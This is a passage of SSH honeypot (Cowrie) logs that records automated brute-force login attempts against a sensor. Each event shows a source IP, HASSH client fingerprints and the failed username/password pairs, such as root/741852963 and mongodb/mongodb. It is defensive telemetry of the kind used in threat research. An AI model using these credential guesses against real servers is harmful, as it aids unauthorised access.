{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:06.388249Z","src_ip":"159.203.92.129","session":"a1345ac49641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Record","password":"Record","message":"login attempt [Record/Record] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:06.410244Z","src_ip":"159.203.92.129","session":"a1345ac49641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:07.096334Z","src_ip":"192.109.200.78","session":"4e97d82e4999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:07.421028Z","src_ip":"159.203.92.129","session":"a1345ac49641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39312,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e061a476a97","protocol":"ssh","message":"New connection: 192.109.200.78:39312 (159.203.135.109:22) [session: 0e061a476a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:09.731899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:09.737333Z","src_ip":"192.109.200.78","session":"0e061a476a97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:09.822711Z","src_ip":"192.109.200.78","session":"0e061a476a97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:10.072489Z","src_ip":"192.109.200.78","session":"0e061a476a97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:11.157627Z","src_ip":"192.109.200.78","session":"0e061a476a97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39322,"dst_ip":"159.203.135.109","dst_port":22,"session":"c75919fb002b","protocol":"ssh","message":"New connection: 192.109.200.78:39322 (159.203.135.109:22) [session: c75919fb002b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:13.929907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:13.934855Z","src_ip":"192.109.200.78","session":"c75919fb002b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:14.018757Z","src_ip":"192.109.200.78","session":"c75919fb002b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:14.268802Z","src_ip":"192.109.200.78","session":"c75919fb002b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:15.353690Z","src_ip":"192.109.200.78","session":"c75919fb002b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39342,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef9a8f604eab","protocol":"ssh","message":"New connection: 192.109.200.78:39342 (159.203.135.109:22) [session: ef9a8f604eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:17.985031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:17.990562Z","src_ip":"192.109.200.78","session":"ef9a8f604eab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:18.075634Z","src_ip":"192.109.200.78","session":"ef9a8f604eab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:18.327092Z","src_ip":"192.109.200.78","session":"ef9a8f604eab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:19.420559Z","src_ip":"192.109.200.78","session":"ef9a8f604eab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41986,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c5d1efe516f","protocol":"ssh","message":"New connection: 192.109.200.78:41986 (159.203.135.109:22) [session: 5c5d1efe516f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:22.263811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:22.268416Z","src_ip":"192.109.200.78","session":"5c5d1efe516f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:22.352645Z","src_ip":"192.109.200.78","session":"5c5d1efe516f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:22.605047Z","src_ip":"192.109.200.78","session":"5c5d1efe516f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:23.691829Z","src_ip":"192.109.200.78","session":"5c5d1efe516f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41998,"dst_ip":"159.203.135.109","dst_port":22,"session":"12396bcdf0cb","protocol":"ssh","message":"New connection: 192.109.200.78:41998 (159.203.135.109:22) [session: 12396bcdf0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:26.516965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:26.522101Z","src_ip":"192.109.200.78","session":"12396bcdf0cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:26.607162Z","src_ip":"192.109.200.78","session":"12396bcdf0cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:26.863979Z","src_ip":"192.109.200.78","session":"12396bcdf0cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:27.949015Z","src_ip":"192.109.200.78","session":"12396bcdf0cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37718,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7f958f6c9b5","protocol":"ssh","message":"New connection: 192.109.200.78:37718 (159.203.135.109:22) [session: e7f958f6c9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:30.536042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:30.540850Z","src_ip":"192.109.200.78","session":"e7f958f6c9b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:30.622934Z","src_ip":"192.109.200.78","session":"e7f958f6c9b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:30.873513Z","src_ip":"192.109.200.78","session":"e7f958f6c9b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:31.959133Z","src_ip":"192.109.200.78","session":"e7f958f6c9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37734,"dst_ip":"159.203.135.109","dst_port":22,"session":"56c751bf7644","protocol":"ssh","message":"New connection: 192.109.200.78:37734 (159.203.135.109:22) [session: 56c751bf7644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:34.761634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:34.765909Z","src_ip":"192.109.200.78","session":"56c751bf7644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:34.847498Z","src_ip":"192.109.200.78","session":"56c751bf7644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:35.097463Z","src_ip":"192.109.200.78","session":"56c751bf7644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:36.185808Z","src_ip":"192.109.200.78","session":"56c751bf7644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58474,"dst_ip":"159.203.135.109","dst_port":22,"session":"062a5065beff","protocol":"ssh","message":"New connection: 192.109.200.78:58474 (159.203.135.109:22) [session: 062a5065beff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:38.922972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:39.010375Z","src_ip":"192.109.200.78","session":"062a5065beff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@